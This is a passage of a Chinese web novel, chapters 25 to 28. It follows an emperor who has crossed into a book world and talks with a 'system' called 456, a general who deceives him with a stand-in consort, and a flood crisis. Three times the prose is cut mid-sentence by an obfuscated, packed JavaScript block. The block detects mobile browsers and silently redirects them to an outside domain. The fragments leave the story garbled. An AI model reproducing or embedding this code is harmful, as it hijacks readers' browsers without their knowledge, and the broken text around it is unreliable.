不,在她答应他那天,他就一定会脸红得像只煮熟的鸭子。 可是……他现在娶到她了。 却没了那种情感。 他举起手突然给了自己一巴掌,扇得“啪”地一声清响。 然后自顾自地讪笑了几声。 456:【宿主,你还好吧……没疯吧……】 秦笙:【很好。】 25. 第二十五章 睡梦中的秦笙如同走在荒漠上的徒步者,他口干舌燥,迷迷糊糊坐起身,喊了几声“王德海”,没人回应。 王德海是宫里几十年的老人儿了,怎么会犯这种玩忽职守的事。 算了。 本来秦笙就有些半醒不醒的,也懒得思考为什么,或许只是守夜睡着了。 屋内烛火被他熄得只剩一两盏,还离床特别远,他虚着眼睛摸索着去桌边坐下,给自己倒了杯茶水。 然后又迷迷糊糊躺了回去。 秦笙:【456,你在吗?】 不在。 白面团子的灵魂不知道跑到哪里去了,只剩团棉花在床角瘫着。 他要问什么来着。 忘了。 秦笙闭上眼,季桐的脸在脑海的记忆里穿梭回荡,越是回忆越是觉得自己白天的那些想法可笑。 他怎么可能…… 等等,床帘外的影子是谁? 他坐起身。 倩影绕动,是个宫妃的打扮,像季桐。 他轻轻拨开床帘。 “皇上,臣妾想您了。”言语婉转,音色像是精灵又像是鬼魅。 是穿书后的季桐,一身宫妃打扮,珠饰轻晃,失了以前坚韧的味道,笑容倒是添了几分阳光。 在昏暗的烛光下,看起来有些诡异。 他再一眨眼,眼前又变了一副光景。 季大将军一身盔甲,肃杀立于床前,居高临下看着他。 “皇上,微臣……” 秦笙猛地伸手推开面前的人,他的嘴角紧抿,仿佛要将所有的痛苦都压下心头。 几秒后突然脱力般迷迷糊糊地倒下。 窗外的傅箐看着目标倒下后,迅速朝里招了招手,小声喊道:“这儿。” 季桐轻步后退,离开了寝宫。 “哥你太坏了,不怕对皇上身体不好啊?”傅箐在无人的墙边挽着她手。 “没害的,只是有一丁点昏睡效果,剂量很少,没有副作用。”季桐远远望了一眼寝殿的方向,“早上醒来就好了,太医也查不出来。” “对了,你看到他床边的棉花团子了吗?”季桐问了句。 “什么棉花团子,皇上还有这种可爱的爱好吗?”傅箐眨了眨眼。 “那你在梨风轩第一次见他也没看到?” 傅箐摇了摇头:“没有哦。” “行吧。” “嘿嘿,那哥,我回昭阳宫了,我怕贵妃娘娘醒了找不着我呢。”傅箐心思巧,并不多问别的。 季桐点了点头。 —— 秦笙醒时太阳穴突突跳着,头有些昏沉,但很快他又清醒了,他记得昨晚上做了个梦。 梦见季桐的脸变成了季大将军的脸。 怎么会这样…… 秦笙锤了几下后脑勺,嘴唇发白。 他的心很酸涩,从见季桐第一面起,他内心就充满了抗拒,他以前从来不会抗拒季桐。 是环境变了,还是他变了。 直到去勤政殿批折子时,他的脑子里都还在天人交战。 手里麻木地批着一道又一道折子。 “皇上~”安贵妃提着食盒放在桌角,“皇上我都叫您好几声了。” “啊。”秦笙如梦初醒,搁置了手里的折子,“什么事?” “喏,合妃妹妹说要给你带的枇杷糖水。”安贵妃拍了拍食盒。 枇杷糖水,以前每年秋天季家父母都会给他拿一罐枇杷糖水,说是他们自己家里做的,原来,竟然是季桐亲自做的吗。 秦笙心底终于泛起柔软。 “她人呢?” “合妃妹妹回娘家了,季大将军邀回去赏花了。”安贵妃嗔道:“你这些日子都不去看她,人家自然不高兴了。” “朕去找她。”秦笙语气稍急。 “哎!那枇杷糖水——” “先别启开,拿冰镇着,朕回来再喝。” “哎!还有翠兰被发落了,您身边得有个掌事宫女啊——” “不必。” 秦笙一路走路带风。 之前是因为他不知道如何处理女身的各种事宜,现在早已经熟悉了,也就不需要贴身宫女伺候,他自己就能遮掩好。 太后和翠兰被幽禁后,现在只有安贵妃和锡太医二人知晓这事,比以前更安全。 —— 秦笙到豫温侯府后被告知侯爷和合妃娘娘都去了京郊的私宅,说是下午本来是去京郊的礼华寺上香祈福,谁知突遇大雨,不好回程,才就近往私宅去歇一歇。 “是才去吗?”秦笙问。 “是呢,奴婢也是刚刚才接到消息说暂时不回来。”雀明眨巴眨巴眼,“皇上您找侯爷有事吗?奴婢可以派脚程快的马车送您,或者叫侯爷回来。” “换马车吧,朕去一趟就好,不用叫他回来。” 秦笙不想被底下人知道他是为了合妃才去京郊。 秦笙是冒雨出宫,此刻即使有黄伞遮顶,带的宫人也不少,但还是被淋到了一点。 上了雀明安排的马车,一路听着大雨滂沱的声音,秦笙思绪有些飘远,季桐是最喜欢下雨天的,可他不喜欢,潮湿、闷不过气、出门不便,种种原因都令他难受,小时候还有一个玩伴因为雨天路滑出了意外,到现在都是双腿残疾。 京郊并不远,脚程快的马车只需要一个半小时也就到了。 到私宅的时候,外面雨还噼里啪啦下着。 “皇上,可仔细着龙体啊。”王德海焦心得要命,把伞又往前挪了挪。 “你们都在外面候着吧。” 秦笙着人去敲门,开门的是个老婆婆管事,给惊得身子都颤了一下。 王德海看了看秦笙的眼色,忙道:“不必通报,皇上只是出宫游玩,路过听闻豫温侯和合妃娘娘都在,进去唠一唠而已。” “是。”老管事忙应下,小心地退步离开。 “皇上,院子里还下着雨,您不让奴才跟着奴才真不放心啊。”王德海望着空中倾盆般的雨水,跟从天上倒灌似的,打得院里花圃草木都折了。 秦笙夺过王德海手里的油纸伞,自顾自地进了宅院,撂下一句“不许人跟着。” 宅院是很古典的林园风格,比豫温侯府多了一分诗情画意,比皇宫多了一分自由散漫,雨打芭蕉,很是不俗。 原以为还要走上一段路进了后院才能到主屋,谁知在池塘边的小亭中就看到了他要找的人。 六角亭里,郎才女貌、烹茶煮酒、谈笑风生,好不风雅。 他远远站着,好像自己是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16225913|180149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多余的,心比秋雨更凉。 456不知什么时候突然活了:【宿主,你干嘛呢?怎么又突然跑出宫?】 秦笙:【没什么。】 站到腿都开始发麻,他才踏步出了廊间,脚步踩在石子路上,任由雨点打湿裤脚。 六角亭里的两人终于看到了他。 “哟,皇上怎么上这儿来了?”季桐笑道。 “听闻桐桐去了礼华寺上香,来看看。” 秦笙的目光游离在二人之间,最终落回傅箐身上,似乎想看穿些什么。 他以前也见过季桐与他人亲近的模样,他几乎难以抑制地心痛到肠胃翻涌,可此时,也有这种感觉,但……望在她身上时,消失了。 两人站得很近。 秦笙忽地伸手拉过傅箐的手臂,将人避在自己身侧,目光再次盯到季止邪身上。 虽然隔着衣纱触着傅箐小臂的皮肤,竟然有一种碰到什么黏腻的东西一般想要甩开,他沉下心忍住。 他冷眼看着对面这人脸上带着戏谑的笑意。 “皇上占有欲还挺强的。”季桐看着他如老母鸡护崽一般,“微臣只是与妹妹几天没见,聊聊天罢了,这么善妒可不好。” 其实秦笙踏进花园走廊那一刻,她就已经知道他来了,她就是想看看秦笙到底能在那儿站多久。 秦笙沉了口气,“并非如此,只是刚刚地上有虫。” 傅箐“啊”了一声,“哪里哪里!”她低头左右看了看,果然刚刚站的位置有个蜈蚣爬过,吓得连忙甩开秦笙的手,躲到季桐背后。 “哥!踩死它,快踩死它!” 季桐偏头轻轻拍了拍傅箐的肩膀,“没事,别怕。”她长腿一伸,碾过那只蜈蚣。 她看着秦笙脸上闪过怀疑之色,编了个理由,“皇上有所不知,表妹刚到青州时,夜半被蜈蚣爬床咬了一口,病了好些日子,差点没命了。” 傅箐这才反应过来,一直微张着的嘴终于活络起来:“啊,是啊,以前我也不怕这些。”她松开季桐的臂膀,把自己站直了。 “天色不早了,皇上留宿吗?还是回宫?”季桐问道。 “自然是回宫。”秦笙再次拽过傅箐的手臂,“你也一起回去。” “哦哦。”傅箐乖觉点头。 “回去也好,近日天灾颇多,百姓怨声载道,皇上要处理的事情怕是更加繁琐。”季桐又提醒了一句:“怕是明日扬州和益州的折子就上来了。” 秦笙狐疑瞥了她一眼,“知道了。” 秦笙带着傅箐坐上了回程的马车,离开季大将军视线后上马车的一瞬间,秦笙就松开了拽着傅箐小臂的手。 “皇上,回去打马吊吗?”傅箐问了句。 “你什么时候学会这个了?”秦笙皱眉。 “啊,贵妃娘娘教的,宫里实在太无聊了。”傅箐原本心想既然都是现代人,应该聊天没有代沟玩起来更舒心才是。 怎么这人时不时就在给自己挖坑,季桐姐又不能随时都安排好她能说的话,大部分时候还得自己自由发挥。 “好吧我不打。”秦笙闭目养神。 456还在叽叽喳喳:【你不是很爱你未婚妻吗???怎么看都不看她一眼?】 456:【喂?哈喽?你真就两眼空空啊?】 26. 第二十六章 回宫后,秦笙依然没有去昭阳宫。 着人送了傅箐回宫后,他自己还是在勤政阁歇下了。 傅箐回宫后拍了拍胸脯,心说快吓死了,露馅了可不得了,连忙修书一封托人送了出去。 季桐收到信后笑了笑,连秦笙的心都感觉出来了,他自己却感觉不出来。 简直是个天大的笑话,既然如此,就怪不得她要下猛药了。 提笔书好回信,一刻钟后季桐安心地在滂沱雨声中沉睡。 第二天一早,雨势渐小,各宫里都忙着扫积水,秦笙用过早膳后也终于去了一趟昭阳宫。 自从他跟季桐在一起之后,他望向餐桌时第一眼看到的都不是自己的座位。 他不想去回忆这些。 比起她的脸,他更擅长描述她的背影。 他求过两次婚,都被拒绝了,那天的车里有一枚钻戒,他想,如果她电影看得很开心,那就再求一次。如果不开心,那就藏起来,下次再订新的。 秦笙看着正在用早膳的傅箐,脸上洋溢着摄入碳水的幸福。 “皇上你不吃吗?”她嘴角微勾,却像是压抑着本性,不敢再将笑容多扬起几分。 “朕用过早膳了。” 真的不像她,她从来没有这样阳光。 季桐外表其实也算开朗,可她从不会像个小太阳花一样围着他转,她意气风发,做事游刃有余,她的目光很耀眼,却很少看向他。 “喂,想什么呢?回去后我们就结婚吧,你不是最爱吃我妈做的桂花糕了。”傅箐用手在他眼前晃了晃,“名正言顺,想吃多少吃多少。” 怎么不是她。 这个世界没有人知道他们之间的回忆。 难道自己真的就那么下贱,明月真的坠入凡尘绕着他转,他却想将明月推开。 秦笙长长地吐出一口气,然后沉静下心思,也将嘴角硬拉起一个弧度,“好。” 秦笙:【456,你说,没有系统的穿书者都一定会被同化还是,只是容易被同化?】 456:【一定会。】 秦笙:【知道了。】 是他的问题。 —— “你说什么?!” 安贵妃整个小脸儿都要皱成一锅粥了,在自己的青鸾宫寝殿内来回踱步,“你真的要立她当皇后?!” “不是,你不是说你永不会娶妻吗?” “而且你……” 安贵妃忽然捂住自己的嘴,“呸呸呸”了几声,“哦对不起对不起,忘了你已经那啥了,天机不可泄露天机不可泄露,臣妾嘴欠了。” 顿了顿,她又道:“可是那也不能——” “她只是做皇后,不管事的,对外朕会宣称皇后体弱多病,后宫事宜仍由你处理。”听了好一通快速的胡言乱语之后,秦笙终于得了空隙插嘴。 “真的?”她嗔怪地瞪了他一眼,“不早说。” 安贵妃才不在乎位份不位份,但是权力在自己手里才是真的。 “你是真的很喜欢那个桐妹妹啊?” “嗯。”秦笙点了点头。 “可是你也是女孩子啊,人家桐妹妹还不知道吧。”安贵妃几乎已经算是掀了老底,她明知道皇帝壳子下换了个魂儿,却还是当好闺蜜一样担忧些家长里短,顺便还想吃两口八卦。 早在几个月前,皇上就夜半找过她一次,说什么“照顾好以后的朕,朕要走了”这种话,她当时还没听明白,直到与这人都相处了几天才发现的。 虽然不懂为什么,但安贵妃觉得,定是天命使然。 她好好辅佐新闺蜜就是了。 秦笙眼中无光,垂着的指尖微颤,“所以呢?都是女孩子就不能喜欢了吗?” 安贵妃连忙安慰道:“不是不是,可以喜欢,当然可以喜欢啦!” “这件事还需要你父亲安离山说上几句,别叫那些人寒了心。”秦笙来这儿的目的就是这个。 “是,臣妾一定好好说。” 安贵妃的父亲是丞相,也是忠君派保皇党之首,立季家姑娘为后这种事,就不可能支持。 但好在这一派本来也就十几二十个人,势力单薄,安丞相又是个女儿奴,不算难事。 “辛苦你了。”秦笙转身离去,“对了,朕把外出给梁齐王就诊的锡太医给召回来了,晚上你就能见到。” 安贵妃欣喜地行了个礼,“谢皇上!” 秦笙下午处理好奏折,扭头就去了昭阳宫一趟,将这个消息说给傅箐听。 如他所想,她根本不在意这些,原本入宫就是强求来的,封不封后对她来说没有分别。 在穿书前两个人感情就非常微妙了,在这个世界见面后也相处不多,但秦笙想要牢牢抓住这份感情的尾线,像是在证明什么。 “嗯,你想封就封吧,就这样呗,只是朝堂势力上你可得跟我哥关系打好些,不然一个不小心就……”傅箐照着季桐的思路回应着。 “只是。”秦笙抿了抿嘴,打断了她的话。 “只是什么?” “只是打理六宫之权,还是放在安贵妃处。”秦笙一字一句说完,唇线渐渐拉直,显得有些微紧张。 “没事啊,我不在乎。”傅箐一点也没有表达不满,甚至看起来还有些开心。 他怕她不答应,还准备了好几套说辞。 是用不上了。 也好。她以前就总是不让自己歇下来,现在愿意让自己歇歇也好。 —— 晚上皇帝要封后的消息传到豫温侯府时。 “他当真这么说?”季桐把茶盏拍在桌上,“嘭”地一声清响,吓得雀明一愣。 “确实……是这么说的。”雀明退了半步,“主子不高兴吗?合妃娘娘从咱们季家出来,自然会向着季家的。” “高兴。”季桐鼻孔狠狠出了口气,“你先下去吧。” 她是真的没想到,这个人居然会真的以此作为补偿,来弥补他自己心里的愧疚感。 简直愚不可及。 即使群臣反对,也丝毫不顾及朝中局势,那到时候就是活该被反。 七日后的封后大典准备的匆忙。 虽然盛大,却诸多小节没有完善好。 这天刚好是霜降日,多日连绵的小雨也停了,前殿的白玉广场上印照着旭日初升。 季桐一身锦绣朝服按剑立于武官队列的最前方。 钟磬之声响起,清越悠长,穿透云霄,百官屏息。 盛装的婢女与太监如云随行在皇后身后,朝殿前走去,季桐只远远望了一眼就“啧”了一声。 好家伙,比封妃时候穿的还隆重上三倍,别说那一身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16232473|180149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 礼服,光是头上戴的金子怕是都有三斤了。 这身行头比武将还累,起码武将头顶不会放这种不利于平衡的东西。 还好封后对象不是她。 礼官诵读册封诏书的声音响彻整个广场。 傅箐小心地接过皇后玉玺。 “臣等恭贺陛下!恭贺皇后殿下!陛下万岁万万岁!皇后千岁千千岁!” 山呼海啸般的朝贺声自季桐身后响起,文武百官都在这儿了,虽然封后典礼仓促,排场却是给到位了。 礼成。帝后接受完朝拜,在仪仗的簇拥下转身,准备回宫。 季桐也算下班了,中午就打算去昭阳宫看一眼傅箐。 因为怕迁宫麻烦,近日又洪涝成灾,不宜大动宫室,傅箐就还是住在昭阳宫。 “皇上呢?去休息了?”季桐也不管那么多礼节,直接往椅子里一坐,反正这皇后一封,皇权也就名存实亡了。 宫人们怎么看根本不重要。 “嗯嗯,典礼一结束就回寝殿去了。” 傅箐朝后摆了摆手,让宫人们全都下去。 “哥!我爱死你了!”傅箐笑得都快能挤出两个酒窝了,“这是我从小到大的梦想!” “梦想是嫁给有钱人?”季桐调侃。 “什么跟什么呀!哎呀虽然是很想啦!”傅箐瘪嘴,“其实我是说我小时候看电视老喜欢扯床单打扮成这样了。” “好吧,那你觉得这个封后大典怎么样?” “非常好!非常有气势!” 傅箐高兴地答完,又思考了一下,“不过,我有小报告给你打!” “说。” “皇上从头到尾都没有睁眼瞧过我!你说他到底是发现了还是没发现啊?”傅箐掰着手指头,“你看,如果说发现了,那他不会封后的呀,如果说没发现,那干嘛看都不看我一眼?” “很显然,他还在左右脑互搏,说不定苦水一大肚子。”季桐挑了挑眉,语气玩味,“指不定心里想着‘啊,为什么,为什么娶到了这辈子心心念念的人儿,为什么自己还是不满足啊!’。” 季桐语气很欠,惹得傅箐连连发笑。 “皇上驾到!”随着外面太监一声高喊,两人才收敛了几分。 秦笙踏过门槛,见两人坐得很近,语气冷漠如铁,“什么事笑得这么开心?” “今日大喜,开心是理所应当的,皇上是来看臣妾的吗?”傅箐手肘撑着桌子,扬起笑脸。 “不是。”秦笙只瞟了她一眼,就收回目光,落在了季大将军身上,“季大将军随朕去往勤政殿一趟,有要事相商。” “皇上政务繁忙,有事可直接通传,微臣哪有不去的道理,何必亲自来请?”季桐连礼都懒得站起来行了,嘴上还是恭敬着。 秦笙表情没有半分松动,“是,朕还请得动季大将军,但旁人不这么觉得,还是亲自来请比较合适。” “好吧。”季桐应了一声,起身道:“那今日封后是大喜事,晚上皇上可要记得宿在昭阳宫。” “朕心里有数。”秦笙咬了咬后槽牙。 456:【任务!宿主!做任务!】 秦笙:【有人在,等会儿做会死吗。】 连带着内心的声音都能听见磨牙声。 怪不得匆匆忙忙来一趟,季桐忍住了笑意。 27. 第二十七章 路上听了秦笙和系统唠了一路,季桐这才知道秦笙做任务不积极,已经放弃了两个任务了。 也不知道这次秦笙找她说有事是做什么样的任务。 秦笙突然停住了脚步,咬了咬下唇。 秦笙:【坏了,我月事带还没换。】 456:【啊——那怎么办?不是,你刚刚怎么没想起来?】 秦笙:【刚刚肚子不疼。】 456:【对不起宿主,我不是人,不懂这个。但是,月事居然是阵痛型吗?】 秦笙:【你问我我问谁,我也才体验几个月,以往是就头两天疼,这次月事都来了三四天了还偶尔发痛。】 456:【找个理由让大将军等等呗?应该不碍事。】 季桐饶有兴趣地盯了他一会儿,他才回过神。 “季大将军,朕忽然想起平常应服的四平养息汤忘服了。”秦笙斟酌着开口,“请季大将军随意在御花园观赏一二,稍后片刻再往勤政殿会见。” “皇上近日身体不适吗?” “不是,只是先前染上的风寒有些病根尚未全消,只是喝些健体调养的方子。” 秦笙面色越看越白,连说话都有些带着颤音,应该又开始阵痛了,季桐不再调侃他,应了一声“是”就道:“恭送皇上。” 秦笙忍着痛上了轿撵,尽量不让自己身躯佝偻,周围的宫人也没看出不对,阵痛结束才松了口气。 季桐一个人在原地“啧”了一声。 真是好倔强。 跟硬要给傅箐封后这件事一样倔强。 活该受苦。 她是不会可怜他的,最好是能气死他玩死他。 一边想着,季桐漫步进了御花园,在一块培育着木芙蓉的花圃前停了下来,伸手轻轻触碰了一下花瓣。 花开的正好,即使是霜降之后也依然开的丰姿艳丽。 入眼的花儿多了之后季桐莫名想起了富士山的樱花,这个世界虽然是虚构的,但倭寇也是在的。 找个时间去打一打倭寇,收了地就能看樱花,还挺好。 “喂——你小心些!有人!”一声娇喝,声音很小。 但季桐耳力好听得特别清楚,这声音来自高灌木丛那边。 “没人,这个点儿打理花圃的宫人不会来的。” “换班很快的!别亲了!” “只是亲一下……” “回去亲不行吗?” …… 季桐脚黏在原地,恨不得把耳朵堵上。 这是遇到真春宫图了? 不对啊,这声音好像有点耳熟,在哪里听过。 “咳!”季桐还是没忍住提醒了一下。 毕竟大白天的太显眼,被人发现了可是杀头的罪。 季桐听见灌木丛那边有人倒吸一口凉气,然后是匆忙慌乱地整理衣服的簌簌声。 为了保持礼貌,季桐后退了几步,准备离开。 “季大将军!” 身后传来那女子的喊声。 季桐不得不停下脚步,转身:“还有什么……”事吗。 话压在嗓子里说不出来了。 怎么是安贵妃?! 面色红润,嘴角带笑,丝毫不见不好意思,一边慢条斯理地整理着自己微乱的鬓发。 “季大将军安好。”安贵妃行了个礼,拽了拽旁边的人。 “啊,季大将军安好。”锡太医也行了个礼。 “……” 季桐一时间不知道说什么好,安贵妃倒是毫不避讳这点,她却嘴角抽搐。 虽然知道这本书里的安贵妃是皇上的好闺蜜,那肯定是不能指望跟皇上过一辈子了,但季桐没想到,她私通的对象居然是个太医。 还这么大胆。 安贵妃打破了僵局:“季大将军去青鸾宫喝喝茶吧,我那儿正上贡了些上好的龙井。” “好。” 反正还早。 进了青鸾宫,锡太医就退下了,正殿里只留下她二人。 “不知贵妃娘娘究竟有何事要说?”季桐开门见山。 “皇后娘娘她人很好,臣妾很是喜欢。”安贵妃循序渐进,“如今皇上不大注重国事,倒不是说不爱民,只是……” “只是不太在意自己的皇位。”季桐帮忙补了这大不敬的话。 “正是如此。”安贵妃道:“先前让臣妾去劝臣妾父亲一事就实属是自折羽翼,如今桐妹妹如愿坐上皇后之位,想来皇上定是十分信任大将军才会做此举吧。” “那么,贵妃娘娘想说什么呢?”季桐笑了笑。 “自然是希望季大将军善待皇室。”安贵妃话虽谨慎却点明了如今的情势,皇权已经名存实亡。 如今的皇帝表面上众臣听令,实则实权皆无,不过是一个处理奏折的打工人罢了。 “那是自然,帝后琴瑟和鸣,我不会多事。”季桐抿了口茶,“听说贵妃娘娘很喜欢跟舍妹打马吊?” “是呀!”说起这些安贵妃肉眼可见得高兴起来,“桐妹妹打得可好了!还约了臣妾今儿下午一起去游泳呢。” 两人磕起瓜子来,拉了拉家常,季桐对安贵妃的印象非常好,没有人会不喜欢漂亮姐姐。 直到锡太医气冲冲地进屋,把人抓走,“季大将军恕罪,贵妃娘娘今天还没有看平安脉。” 安贵妃无辜地眨了眨眼,然后挥手再见。 季桐忍不住笑了。 这两人倒是蛮有意思的,少见的天不怕地不怕。 十几分钟后她终于踏进了勤政殿。 四下并无宫人,季桐还是恭敬地行了个礼,“参见皇上。” 秦笙翻了个白眼。 让他等这么久,还行什么礼啊,直接一脚踹开勤政殿大门得了,反正也没人敢拿这人怎么样。 秦笙招了招手,让她过去。 季桐走上前去,“皇上久等了。” “哪儿敢啊,季、大、将、军。”秦笙一字一顿。 “不知皇上要说的要事是什么?”季桐将话题转向正事。 秦笙将桌案上整理好的奏折往她跟前一推,“你自己看。” “这不好吧?”季桐嘴上这样说着,手上已经翻开了奏折。 秦笙:【呵。】 季桐听得一声冷哼,偏头去看他。 秦笙:【他简直莫名其妙,你说是不是,456?】 456:【不是,宿主,都这个点儿了,赶紧的吧,任务任务!】 秦笙咬牙切齿:【我做不出这种事。】 456咆哮道:【不就是碰一下束胸带吗!你之前那两个任务不做也就算了!这个也不做!你这样显得我这个系统很无能!我光发任务有什么用!时间到了过期了你都不做!】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16233519|180149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦笙:【有合适的任务我会做的。】 456:【不行啊!宿主你没发现出问题了吗!】 秦笙:【什么?】 456:【你仔细想想剧情里本来有没有这么多洪灾啊?!】 是了。 季桐一边听着一边翻看着奏折,不止扬州和益州,几乎处处都有洪灾,粮食全淹,屋宅尽毁,天灾之下民不聊生。 据她的记忆里这本种田文里是没有这么多天灾的。 秦笙心里一惊:【为什么?】 456:【因为你。】 456:【这种小世界不跟着剧情走,就会很不稳定,且不说两党之争斗起来会不会战火纷争,光是天灾就足以能让种田大背景一无所有的。】 秦笙:【你说的是真的?因为我不做任务,所以天道惩罚老百姓?】 456绵绵的身子鞠了鞠躬表示肯定。 秦笙:【凭什么?!】 秦家常年慈善不断,秦笙也耳濡目染,听闻了不少资助孩童的事迹,他恻隐之心很容易被勾起。 任务再不做这个世界稳定性就要彻底失衡。 秦笙的额间渗出了一些冷汗。 秦笙:【我需要静一静。】 季桐翻看完所有跟洪涝有关的奏折,男女主在绥石州,这个地方也是天灾最严重的地方,不仅洪涝最大,还发生了一个小型地震,必须优先治理。 男女主要是死了,那还种个屁的田。 “皇上,拨发赈灾粮与赈灾金吧。”季桐给出了解决方案,“还有丞相所说的,派各地方治理水患得力的官员去改修水道,给他们升职上任。” “解决方案底下这些人都提了不少,我看了大部分都还可行,皇上自己采纳吧。” 秦笙闭了闭眼,缓缓点头,然后两只手肘撑在桌上,手掌抵住了自己的额头。 这是最典型压抑烦躁的动作。 秦笙坐在桌案前emo,季桐站在他身侧就往前贴近了一些,轻轻拍了拍他的肩膀。 “别担心,会没事的。” 秦笙的任务必须得做,但洪灾已经发生,眼下就算做任务也不可能令已经发生的事回溯。 就算系统没提,季桐也能猜到这种天灾是肯定会影响到男女主的故事线的,怕就怕再出现交州那种事,男女主深陷险境,迫不得已必须去救。 既然如此,还不如早点出发,早点去保驾护航。 正事要紧,季桐继续道:“皇上,微臣打算去绥石州一趟。” 秦笙一言不发,放开双手后沉默地往后仰了仰,嘴唇都抿成了一条薄线。 一旁的棉花团子疯狂蹭秦笙的头发:【宿主宿主!你说话啊!】 秦笙:【说什么,就算我不同意他也会去。】 456:【那人家季大将军礼貌啊,你半天不理人,不礼貌。】 秦笙无可奈何:“嗯好。” “那皇上在宫里等微臣回来。”季桐手轻轻拂过他头顶的发冠,“嗯?” 秦笙正来着月事,出宫多有不便,再说他身体很差,实在是不宜舟车劳顿。 太近了。 秦笙几乎能听清身后人呼吸的声音,他仰头去看她,依然看不到任何情丝在对方的眼眸里。 一声“好”字从他的喉间滚动出来。 456:【好个屁啊!任务啊!只有十天时间!】 28. 第二十八章 五天后。 季桐勒住缰绳,身躯微微前倾,沉默地凝视着眼前这片不像土地的土地。 低洼处的混浊黄水漫无边际地延伸,水面上漂浮着茅草的屋顶、断裂的房梁。 不远处的老槐树刚好在河道附近,地势不好,导致一半都浸在水中,枝叶上挂满了淤泥和残草。 天昏暗如夜,四处都充斥着死水沉闷的腥气,和令人不安的腐败气味。 她的战马不安地踏着蹄子,溅起泥浆。 “将军,前面路彻底断了。”亲兵队长策马回来,声音压得很低,“赈灾棚设在十里坡上,粥稀得能照见人影。” “换条路。厉校尉还有多久回来?” 季桐刚到绥石就吩咐了厉寡言去打听男女主。 “快了,厉校尉已经在回来的路上了。” 季桐点了点头。 找了处稍微泥干些的地方等人来。 绥石州本来是气候干燥的地方,古代各处的排水系统又不够完善,绥石的排水系统就更少。 也难怪水患一旦来临就毫无招架之力。 半小时后厉寡言骑着马赶来。 “打听到了吗?” “打听到了,他们在洪流最大的地方,就是绥石最北边山脚下,现在是生死未卜,听说是因为救那一片地方的老人家才身陷囹圄的。”厉寡言说话有些喘气,一路狂奔而来,身上全是泥点子。 怎么会这样? 真是靠了。 她都不用猜,秦笙那边的系统肯定已经发了新任务,男女主是必须要救的。 见大将军脸色不好,厉寡言立马问:“我们现在往那边去吗?会有些远。”他很聪明,虽然话少,但一下子就猜到了这两个人跟大将军关系匪浅。 他们小队一路从京城狂奔才到的绥石州,中间绕过了所有降灾之地,才会有五天这么快的速度。 但从绥石州的最南边到最北边却是没有绕路可言,甚至没有近道。 近道是洪流,谁敢过。 怕是最少也要一天才能赶到。 亲兵队长也想到了,救急还是救近是个问题。于是问道:“那这边的灾民…” 季桐只思考一秒钟,“有的是上头派来的官负责,不必担忧。” 二择一只能选择先救男女主,灾民太多,她根本管不过来。 说白了,男女主就是她的命啊!不然她还怎么回去。 也还有一个原因…她虽将苦难看在眼里,却不相信真实性。常有处理征战杀人这些事的情况下,她只能不断地告诉自己,这只是一本书,自己的命才是最重要的。 她眼里闪过恻隐,还是调转了缰绳方向。 “走!” 从昏暗的白日行到黢黑的夜里,路越来越难走。 好不容易停了没两天的雨又开始下起来,雨丝在夜色中斜织,还好他们一行人少且都有马匹,不然更麻烦。 这次季桐出来的目的很明确,就是护男女主,不需要大队人马,只带了个六人小队,再额外加上厉寡言,雨路泥泞,这种事自然是人越精简越好。 潮湿的风从四面八方渗入衣衫,裹挟着泥土与青草的腥甜,雨滴打在肩膀上,在甲胄片上噼啪作响。 绥石州最北边的山脚下发生过山洪,那里有个小村落,几乎全被毁了。 等他们赶到的时候,已经接近天亮,天边露出了一丝白线,天却还是昏暗着。 蜿蜒的泥泞土路被雨水浸泡得发亮,前方就是一片残墟。 季桐命亲兵小队的他们两人一组散出去打探附近的房屋残墟看看有没有幸存的百姓,能救一个是一个。 风有时吹的很大,雨丝歪斜,一点一点又积在水坑里。 “一起找一下,房屋院落比较大的废墟,特别是有种植草药痕迹的。”季桐记得这个时期的男女主应该正从卖草药开始发家。 “是。”厉寡言也下了马,“等等!季大将军,你瞧那前面是什么旗子。”他惊得瞳孔骤缩。 季桐闻言望过去,一片废墟里确实坍塌的瓦片顶端挂着一片沾满污泥的旗子,那旗子透着金黄色的龙样暗纹,反光的金线做不了假。 怎么可能! “过去看看!” 季桐和厉寡言奔过去,她将旗布扯了下来,仔细端详,确实是皇帝微服私访常用的旗帜纹样。 她耳朵微动,听到了虚弱的求救声。 是个女声,好像就是女主桂清离的声音。 从坍塌的房屋下方传来。 虽然季桐百思不得其解,但还是吩咐厉寡言与她一起赶紧找东西撬开这些残废掉的墙板。 听到声响后,底下传来惊喜且虚弱的呼救:“我们在这里,右边,救救我们!” 半个小时后,散出去的亲兵小队六人也被召回,一起拆解了这片废墟,终于是将这一小块地方给清理出来,只剩了三角板。 他们确实在,废墟底下四人和一棉花团子。 